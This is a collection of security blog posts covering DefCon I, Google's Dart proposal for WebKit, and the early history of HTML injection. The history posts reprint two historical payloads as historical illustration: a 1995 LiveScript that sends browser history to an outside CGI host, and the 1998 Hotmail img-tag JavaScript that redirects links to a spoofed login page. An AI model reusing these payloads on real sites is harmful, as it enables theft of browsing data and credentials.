It was 0x13 cons ago today…

Sure, DefCon 20 is coming up this year, with its HTML5 doctype and JavaScript-driven Twitter feed on a page with CSS styling to make a green monospace font look like an old-school computer screen.

But in 1993 you almost certainly read the announcement for DefCon I in green monospace text on computer screen:

                  D E F  C O N  I   C O N V E N T I O N
                  D E F  C O N  I   C O N V E N T I O N
                          DEF CON I CONVENTION
                  D E F  C O N  I   C O N V E N T I O N

>> READ AND DISTRIBUTE AND READ AND DISTRIBUTE AND READ AND DISTRIBUTE <<

                    Finalized Announcement: 6/12/1993

              We are proud to announce the 1st annual Def Con.

    If you are at all familiar with any of the previous Con's, then you
will have a good idea of what DEF CON I will be like. If you don't have any
experience with Con's, they are an event on the order of a pilgrimage to
Mecca for the underground. They are a mind-blowing orgy of information
exchange, viewpoints, speeches, education, enlightenment... And most of all
sheer, unchecked PARTYING. It is an event that you must experience at least
once in your lifetime.

You might even have caught the announcement a day after watching the just-opened Jurassic “It’s a UNIX system! I know this!” Park. By 1993 you’d have had a few years to min-max a Shadowrunner well enough that your Doc Wagon contract didn’t trigger after every run-in with Lone Star. Your William Gibson books may have been dusty by then. That old, worn VHS (“be kind, rewind!”) of Blade Runner needed to be replaced. Too bad it’d be another four years before you could replace it with The Director’s Cut on one of those fancy new things called DVDs. (Sorry, it’d be a new millennium before you got the answer to what you suspected all along.)

But if you had gone to DefCon I, it would only have set you back $30. (Well, $15 if you paid in advance, but that $15 saved wouldn’t have covered the beer budget anyway.)

And since it’s unlikely you have a working time machine, you’ll have to settle for shelling out $200 for this year’s con. In the meantime, enjoy poking around the textfiles.com site for some computer culture history and be sure to check out the DefCon-related announcement.

Google Darts Back to VBScript

There’s an interesting discussion evolving on the WebKit developer’s mailing list that boils down to adding VBScript support to the project. Well, almost. It’s a discussion between two major contributor camps, Google and Apple, on the framework for integrating Google’s langue du jourDart.

To set the stage, no one on the list is arguing in bad faith. If you’d prefer the troll-baiting titillation of he said/she said threads, look elsewhere. Never the less, keep reading here and you’ll be rewarded with a pontifical comment or two.

So, back to Google’s desire to include VBScript to the WebKit browser engine. I mean Dart; I believe they call it Dart because four fewer letters improves efficiency. The basic idea is that JavaScript is nice, but insufficient to fully replicate certain kinds of desktop apps. For example, JavaScript becomes creaky if you push it to handle anything associated with frame rates — namely games.

There’s clearly self-interest in improving browser computing if your entire platform relies on the browser. For starters, you want a browser that won’t have ad-blocking on by default. And you’ll want to smooth out the wrinkles of something like a Do Not Track header.1,2 Sometimes, it’s even convenient to get other browsers, say Internet Explorer, to catch up on technology by plugging your own browser into them.3 (Never mind the implications of a browser in a browser.4,5) That brouhaha of 2009 enabled users to experience brave, new products with their Chrome/IE chimera — which in hindsight must have been necessary since the product was no longer around by the time IE caught up on HTML5.6

But all of that avoids the fact that JavaScript isn’t perfect. Enter Dart, accompanied by tweaks that make it more bare-metal-compiler friendly

On the other hand, maybe JavaScript (ahem, the ECMAScript standard) just needs its own tweaking to enable performance gains.7,8 And while we’re on this JavaScript tirade, why not throw improve our privacy with some crypto-related capabilities rather than start over with VBDart?9

ECMADart isn’t Google’s sole flirtation with browser extensions. Google also wants to reinvent ActiveX in the form of a plugin called NaCl.10 NaCl is a sort of the arterial bypass of JavaScript in that it provides a way to execute native code (C or C++) in your browser. Instead of relying on the non-standard closed sandbox plugins like Flash or Silverlight you can rely on the non-standard open source sandbox plugin of NaCl.

Words That Start With E

Understand first that reinvention intends to improve upon the original. Hollywood likes to call this “rebooting” a franchise. This brings us cool Batman movies. At the price of yet another Batman movie. Or yet another Superman. Or Spiderman. (Hey, Star Trek was pretty awesome so reboots aren’t out-of-hand a bad idea.) Yet this pushes other, fresher ideas out of the way. In web terms, those other, fresher ideas involve developers embracing HTML5 and JavaScript as the standard deployment model for web apps rather than coding to browser quirks or throwing Flash-driven menus everywhere.

Now fill in the blank: Reinventing a technology is a great way to [ ____ ]

Even desultory readers should notice the biased presentation of choices: Three phrases of cliched meaninglessness and one possibly-too-subtle allusion to the dark times of an almost two decade-old past. It wasn’t until the late 90’s when a Rolling Stones‘ song first graced a t.v. commercial. Their song, “Start Me Up,” played over an ad (this is the dark times part) for Microsoft — the company that created the “embrace, extend, and extinguish” strategy to give Internet Explorer dominance in the browser market.

One great way to embrace and extend is to provide New! Cool! features that work great in one browser, but degrade or don’t exist in any other. A new scripting language is one way to do that, even if it’s as useful as VBDript. To be fair, plugins like Flash and Silverlight need to be pulled into this category. Java counts as cross-platform, but when was the last time you used a Java app in your browser? When was the last time a hacker did? (Hint: Probably more recently than you think.)12

Stepping outside of boundaries isn’t always bad. After all, a foundation of the modern web, the XMLHttpRequest object, arose from an IE-only extension.13 A detraction further compounded by requiring ActiveX. XHR’s adoption into the W3C standards was both acknowledgement of the feature’s widely recognized utility as well as the desire to make the feature equal among all browsers.

All You Need is <!doctype html>

Maybe everything doesn’t have to go into the browser. Yes, I can think of a few reasons why App stores (trademarked ones and not) equally threaten divergence and uncrossable platforms. But at least consider the app+device duo has a better security model than the browser. The browser’s model is mostly a Same Origin Policy affair, whereas you ostensibly have to approve and acknowledge certain behaviors for your sandboxed app.

The worst thing you can do is sign up to the WebKit developers list in order to spam it with flaming, troll-ridden diatribes for or against JavaDart. Let engineers more involved in the browser sausage making sort it out with their constructive conversation.

The best thing you can do is continue to create cool web sites with technology that works in every browser: HTML5 and JavaScript. Let the annoying litter of the Web’s past (pop-up windows, scrolling marquees, even Flash has a terminal diagnosis by now) scatter in what the Scorpions so awesomely sung as the “Wind of Change.”

=====
[1] http://googlepublicpolicy.blogspot.com/2011/01/keep-your-opt-outs.html
[2] http://www.w3.org/Submission/web-tracking-protection/
[3] http://arstechnica.com/open-source/news/2009/09/google-brings-chromes-renderer-to-ie-with-browser-plugin.ars
[4] http://shaver.off.net/diary/2009/09/28/thoughts-on-chrome-frame/
[5] http://blog.lizardwrangler.com/2009/09/28/browser-soup-and-chrome-frame/
[6] http://googlewave.blogspot.com/2011/11/final-steps-for-google-wave.html
[7] http://www.ecmascript.org/
[8] http://blogs.msdn.com/b/ie/archive/2011/11/22/evolving-ecmascript.aspx
[9] https://wiki.mozilla.org/Privacy/Features/DOMCryptAPISpec/Latest
[10] http://www.chromium.org/nativeclient
[11] http://www.economist.com/node/298112?Story_ID=298112
[12] http://blogs.technet.com/b/mmpc/archive/2010/10/18/have-you-checked-the-java.aspx
[13] http://support.microsoft.com/kb/285081

(should be the last)…

Ahh…the optimism of days gone by. While gathering citations for a web security timeline I came across this message from Rob McCool regarding the new release of his NCSA httpd project. NCSA httpd was the precursor to Apache.

Also notice the blatant disregard for zero by merely naming the releases “point two” and “point three.” The Modern Web Masses are surely rectifying this through inversion by adding “point oh” to everything, such as the dearly meaningless “web 2.0” moniker. (Since apparently calling something “two” doesn’t use enough syllables.)

From the README:

This is beta release .3
NEW IN RELEASE .3
—————–
o Security hole (should be the last) fixed
o Nearly complete drop-in gopher support. See README.GOPHER for details
o Not being able to find the config file does not send back a path
NEW IN RELEASE .2
—————–
o Two security holes fixed
o Double slashes in root index fixed
o Not being able to find the error files no longer hangs the server

So, by April 22, 1993 a beta web server was already being poked at by curious hackers looking for holes in a network. As you might guess, this wasn’t the last security hole fixed.

I’ve managed to download version 0.5, but can’t find any mirrors or archives that reach earlier than that. If you manage to find one, let me know. I’d like to expand this post with examples of what early attacks might have looked like.

Primordial cross-site scripting (XSS) exploits

The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.

Yet XSS is old. Very, very old. Born in the age of acoustic modems barely a Planck Era after the creation of the web browser.

Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10. While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. And persistent XSS is just as dangerous if an attacker injects an iframe that points to a malware site — no JavaScript required.

Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 19961. It mentions only a handful of possible outcomes:

Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To *anyone* using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can
a) nick your history
b) nick your email address
c) download malicious files into your cache *and* run them (although you need to be coerced into pressing the button)
d) examine your filetree.

From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.

The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):

The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.

Scott, faithful to hackerdom tenets, included a pop-culture reference2 in his description of the sensitive data extracted about the unwitting victim:

– the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.
– The exact search params he used on Lycos (i.e. exactly what he searched for)
– plus any other places he happened to visit.

HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application — a dangerous prospect when the page is laced with malicious content inserted by an attacker. The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle <img> or <iframe> as opposed to changing the location.href:

<SCRIPT LANGUAGE="LiveScript">
i = 0
yourHistory = ""
while (i < history.length) {
  yourHistory += history[i]
  i++;
  if (i < history.length) yourHistory += "^"
}
location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?"+yourHistory
<!-- hahah here is the hidden script --></i></SCRIPT>

The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact. This differs greatly from binary exploits (e.g. heap and buffer overflows) that require days, weeks, or months to develop.

Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. Today, the Chromium team offers $500 and $1,3373 rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.

On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.

Come to think of it…those options seem like a superior hourly rate to writing a book. And I cringe at the difference if you compare rates based on word count.

—–
1 Netscape Navigator 3.0 was already available in April of the same year.
2 Good luck tracking down the May 1981 issue of Omni Magazine in which William Gibson‘s short story first appeared!
3 No, the extra $337 isn’t the adjustment for inflation from 1995, which would have made it $1,407.72 according to the Bureau of Labor and Statistics. It’s one of those numbers that, if you have to ask, you risk exposing yourself as a n00b. Don’t ask about that one either.

(Updated links.)
(Updated to refer to the new book and add supporting details for the term “HTML Injection” vs. XSS.)

Earliest(-ish) hack against web-based e-mail

The book starts off with a discussion of cross-site scripting (XSS) attacks along with examples from 2009 that illustrate the simplicity of these attacks and the significant impact they can have. What’s astonishing is how little many of the attacks have changed. Consider the following example, over a decade old, of HTML injection before terms like XSS became so ubiquitous. The exploit appeared about two years before the blanket CERT advisory that called attention to insecurity of unchecked HTML.

On August 24, 1998 a Canadian web developer, Tom Cervenka, posted a message to the comp.lang.javascript newsgroup that claimed

We have just found a serious security hole in Microsoft’s Hotmail service (http://www.hotmail.com/) which allows malicious users to easily steal the passwords of Hotmail users. The exploit involves sending an e-mail message that contains embedded javascript code. When a Hotmail user views the message, the javascript code forces the user to re-login to Hotmail. In doing so, the victim’s username and password is sent to the malicious user by e-mail.

The discoverers, in apparent ignorance of the 1990’s labeling requirements for hacks to include foul language or numeric characters, simply dubbed it the “Hot”Mail Exploit. (They demonstrated further lack of familiarity with disclosure methodologies by omitting greetz, lacking typos and failing to remind the reader of near-omnipotent skills — surely an anomaly at the time. The hacker did not fail on all aspects. He satisfied the Axiom of Hacking Culture by choosing a name, Blue Adept, that referenced pop culture, in this case the title of a fantasy novel by Piers Anthony.)

The attack required two steps. First, they set up a page on Geocities (a hosting service for web pages distinguished by being free before free was co-opted by the Web 2.0 fad) that spoofed Hotmail’s login.

The attack wasn’t particularly sophisticated, but it didn’t need to be. The login form collected the victim’s login name and password then mailed them, along with the victim’s IP address, to the newly-created Geocities account.

The second step involved executing the actual exploit against Hotmail by sending an e-mail with HTML that contained a rather curious img tag:

<img src=”javascript:errurl=’http://www.because-we-can.com/users/anon/hotmail/getmsg.htm&#8217;;
nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){top.submenu.document.links[i].target=’work’;
top.submenu.document.links[i].href=errurl;}noworklinks=top.work.document.links.length;
for(i=0;i<noworklinks-1;i++){top.work.document.links[i].target=’work’;
top.work.document.links[i].href=errurl;}”>

The JavaScript changed the browser’s DOM such that any click would take the victim to the spoofed login page at which point the authentication credentials would be coaxed from the unwitting visitor. The original payload didn’t bother to obfuscate the JavaScript inside the src attribute. Modern attacks have more sophisticated obfuscation techniques and use tags other than the img element. The problem of HTML injection, although well known for over 10 years, remains a significant attack against web applications.